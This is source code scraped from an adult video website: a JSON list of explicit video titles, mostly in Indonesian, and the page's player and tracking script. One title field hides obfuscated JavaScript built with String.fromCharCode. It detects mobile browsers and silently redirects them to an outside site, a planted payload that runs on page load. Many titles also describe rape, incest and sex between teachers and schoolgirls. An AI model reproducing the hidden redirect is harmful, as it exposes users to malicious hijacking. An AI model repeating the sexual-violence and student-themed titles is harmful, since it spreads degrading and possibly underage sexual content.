HNAMH-021 Gentle Phoenix 6 shots to unprotected penis Love hotel rest unlimited real ejaculation Hirose Konomi Namanama","lastmod":"2026-07-11","duration":"01:50:34","url":"/play/19164636.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzljM2Q2MDUyYzAwN2M4ZTM4YzIyMGVmM2Y4YzY0OTIuanBn.cache","vod_id":18973689,"title":"✅Istri berselingkuh✅ \"Aku keluar untuk mengambil paket, aku agak lelah dan kehabisan napas.\" Suaminya menelepon saat dia sedang berhubungan seks, dan berbicara dengannya sambil berhubungan seks sangat mengasyikkan! Dia berusaha menahan erangan dan desahannya.","lastmod":"2025-12-14","duration":"00:07:29","url":"/play/18973689.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTk3YTY1MjJmMjAwYjhmZTA2Y2I0ZjJmN2RmYjhkY2QuanBn.cache","vod_id":19020008,"title":"Wanita profesional: posisi tengkurap dan ejakulasi primal.","lastmod":"2025-03-24","duration":"01:01:51","url":"/play/19020008.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTFiYzQ2YjMyNjc4NTcwOTMwZjI3OGJiMzczYzdjMzcuanBn.cache","vod_id":18932304,"title":"SNIS-204 Aku akan diperkosa. ~Versi Ibu Rumah Tangga Patuh Berpayudara Besar~ Hoshino Nami","lastmod":"2025-12-14","duration":"02:27:20","url":"/play/18932304.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjlmMWE3MmMyMmNkYjQyYjg0YzI2NWRlNTU5N2M1YjIuanBn.cache","vod_id":18983116,"title":"[Subtitle Bahasa Mandarin] SDNM-390 Seorang pekerja toko kue Jepang yang tampak lembut dan baik hati sebenarnya adalah 'ibu rumah tangga nakal' – Yuuki Kohashi, 35 tahun, Bab 2: Terkurung di hotel cinta terdekat.","lastmod":"2025-03-23","duration":"02:16:19","url":"/play/18983116.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MTgvYjA2YzMwMWVmMjViMzdiOTA5MmExNjEyNGMxMDk3NWEuanBn.cache","vod_id":19029736,"title":"Dapatkan aplikasi perjodohan kecanduan seks! Istri cantik super kooperatif Ayami Mikura NNPJ-543-C.","lastmod":"2025-04-18","duration":"01:57:14","url":"/play/19029736.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMTMvMjNlYmY3M2Q5MmYxYTIzMjYzZGEyZWY4YzU3YmNmNmYuanBn.cache","vod_id":19062485,"title":"Rahasia kontrak adalah kemampuan penjualan di dunia nyata!? Seorang wanita yang sudah menikah mengunjungi seorang penjual mainan dewasa! Aktor tidak dikenal GOJI_036","lastmod":"2025-12-14","duration":"04:11:10","url":"/play/19062485.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZmM1Zjg3NTk5YWRmYmNkNjNmMmFjM2U3MzYzNzc1MjcuanBn.cache","vod_id":19022432,"title":"BLK436 Reverse NTR dalam Perjalanan Sekolah: Demi menjaga seorang siswi nakal, tanpa diduga aku malah sekamar dengannya... Miu Tsukina, seorang guru yang ereksi penuh dan berejakulasi di dalam dirinya berulang kali karena kenakalannya.","lastmod":"2025-03-24","duration":"01:59:41","url":"/play/19022432.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjJjNjkzZDM5ZGI5MjU0NTk3ZmRmNTIxYmNkMmY2ZjkuanBn.cache","vod_id":18969805,"title":"Tiga wanita menikah yang terhormat namun nakal memberikan pertunjukan yang penuh gairah, stoking hitam mereka memikat, suara mereka cabul, payudara besar mereka dihisap oleh saudara perempuan mereka, satu di setiap sisi, sementara yang lain mengencingi mulutnya saat mencapai klimaks.","lastmod":"2025-03-23","duration":"00:30:40","url":"/play/18969805.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDVkYTE3YzJhZmEyZDMzMDE3ZWE5MWEyNGY2MDJiMjQuanBn.cache","vod_id":18998878,"title":"Seorang wanita menikah yang kesepian merayu seorang tukang reparasi yang datang untuk memperbaiki saluran pembuangan yang bocor di rumahnya.","lastmod":"2025-03-23","duration":"20:45","url":"/play/18998878.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYWJlMjg3YWNiZWVhOWEwODczODcxMjI1NzU4YjMxYmIuanBn.cache","vod_id":19026347,"title":"[Guru, mari kita mainkan permainan terlarang] Saya dan istri saya sedang mengalami masa sulit. Sebagai guru wali kelas, saya sedang didekati oleh seorang siswa. (Futaba Walnut HMN-233-C)","lastmod":"2025-03-26","duration":"01:58:46","url":"/play/19026347.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvN2MzMGQ5ZWQxYmE3ZDY0Y2I1MWZkZTEzOGVhZWRhMDQuanBn.cache","vod_id":19141871,"title":"Creampie menyukai perjalanan pemandian air panas Miyako Nanjo KANO-001","lastmod":"2026-02-06","duration":"02:15:44","url":"/play/19141871.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMTAvNDVmY2QyZDQyYmU3OWYzZjA3M2EwZGMzYzc3ZGM0MTMuanBn.cache","vod_id":19061989,"title":"Edisi ketiga eksklusif Madonna!! Ukuran 8 wanita menikah tidak diblokir!! Setelah berhubungan seks dengan suami saya dan melahirkan, Matsuno Ran JUQ_892 saya","lastmod":"2025-12-14","duration":"01:59:27","url":"/play/19061989.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2YzNmY5YjE5N2Y5ZDgyMTY5ZDYzNjI4ODkxYTI3ZTUuanBn.cache","vod_id":19016316,"title":" [Gila Penis] Ekspresi gembira saat piston bertenaga penuh dimasukkan ke dalam vagina!","lastmod":"2025-03-24","duration":"44:45","url":"/play/19016316.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDE0OWFlMTBkOGRmZWFlZGZmZWExNWNiNzgyZGY2YzEuanBn.cache","vod_id":18949161,"title":"\"Aku baru saja berpakaian, dan kau melepas pakaianku tanpa izinku. Bersikaplah lembut!\" Dialog lucu. ⭐ Seorang siswi cantik dengan bokong besar, yang baru saja selesai berhubungan seks, dipaksa untuk ditelanjangi lagi dan diberi sesi bercinta yang brutal. Sangat memuaskan! Karya seni asli tanpa sensor dengan ejakulasi internal.","lastmod":"2025-12-14","duration":"00:32:58","url":"/play/18949161.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNmU3OTgwNDhlNWE5NWE5ZjUzYmYzNjgyYTY1ZTM5YzIuanBn.cache","vod_id":18973657,"title":"CETD-171 Istri Muda yang Tidak Bermoral: Sore Hari Saat Suami Tidak Ada, Keintiman Terlarang dengan Mertua - Ichinose Suzu","lastmod":"2025-03-23","duration":"02:39:09","url":"/play/18973657.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTc2M2YwNTZlOTJlN2FiYzllN2E2ZjdiYTk2YjM3MWYuanBn.cache","vod_id":18985535,"title":"KAMEF-035 Spesial Pemotretan Pribadi: Buku Foto Idola Underground Momoka-chan (20) Machida Lens' BLACK KAMEKO FILE.35 Idola Pelajar Akhir Pekan dan POV","lastmod":"2025-12-14","duration":"01:20:28","url":"/play/18985535.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvN2NjNjMzNzlkMjA3ZDM4YzE2NzcyNDU0Y2RjNGRjNzYuanBn.cache","vod_id":19014218,"title":"WAAA285C Jika Anda mampu menguasai teknik luar biasa Kana Morisawa, Anda bisa merasakan seks ejakulasi yang dahsyat!","lastmod":"2025-03-24","duration":"03:31:24","url":"/play/19014218.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjMvMGYzOTBlMGU4MWIwZjhlYmE5YTgzMGY2NmNjM2Q1MDAuanBn.cache","vod_id":19165412,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Ruang Karaoke Erotis Shen Nana EP6 - Pengalaman Pertama Mahasiswi Shen Nana dengan Karaoke Vibrator","lastmod":"2026-07-11","duration":"06:22","url":"/play/19165412.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvODNiNzUwNmE4NDgyODg5OGRhOWU3MGYxZmFlZDg3ZmUuanBn.cache","vod_id":19146589,"title":"Buat kakak perempuan yang cantik itu hamil sepenuhnya—ejakulasi tanpa henti pada mantan penyiar wanita dan Kaname saat dia sudah \"orgasme\"! Menggunakan PRED-819 yang ramping","lastmod":"2026-03-05","duration":"02:00:08","url":"/play/19146589.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MDUvMzhmMDk1OWUwMzQ2YmI1YTNjOTYxMDRiMzViNzZlM2EuanBn.cache","vod_id":19036481,"title":"JUQ451 Guru Wanita NTR: Istri Tercintaku Dirayu oleh Murid Nakal.","lastmod":"2025-06-05","duration":"01:56:22","url":"/play/19036481.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjgzODFhZWM3NjA3YjY5Zjk1MTZjNWM2MWNmMThjODYuanBn.cache","vod_id":18991341,"title":"FGAN-013 Kana Kawahara, seorang gadis yang menderita ruam panas setelah mengalami penetrasi.","lastmod":"2025-03-23","duration":"02:06:00","url":"/play/18991341.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNWZiZGY3NWY1MmYyNWM3NTI4ZmJjNTY5MDU3MzdjZGUuanBn.cache","vod_id":18957509,"title":"Seorang mahasiswi yang pandai bersenang-senang, dia memikat dan menggoda dalam balutan stoking dan pakaian dalam, menggoda dan meremas payudaranya di depan kamera, melebarkan kakinya dan menonjolkan bokongnya untuk menampilkan erangan yang nakal.","lastmod":"2025-12-14","duration":"00:58:19","url":"/play/18957509.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDc0ZmQzMjRlMGY0NDZiNzEyZGFlOGRmY2Q4ODFiMWEuanBn.cache","vod_id":18990220,"title":"HJMO-428 Seorang wanita menikah yang lembut harus membantu mengumpulkan 30ml sperma untuk keluar dari ruangan terkunci! (Inses)","lastmod":"2025-03-23","duration":"03:40:25","url":"/play/18990220.html"}]},
videoTitle: 'JUQ579 Seorang wanita yang sudah menikah dan hanya menerima kunci cadangan kamarnya diperkosa oleh seorang mahasiswa laki-laki hingga ia lulus.',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}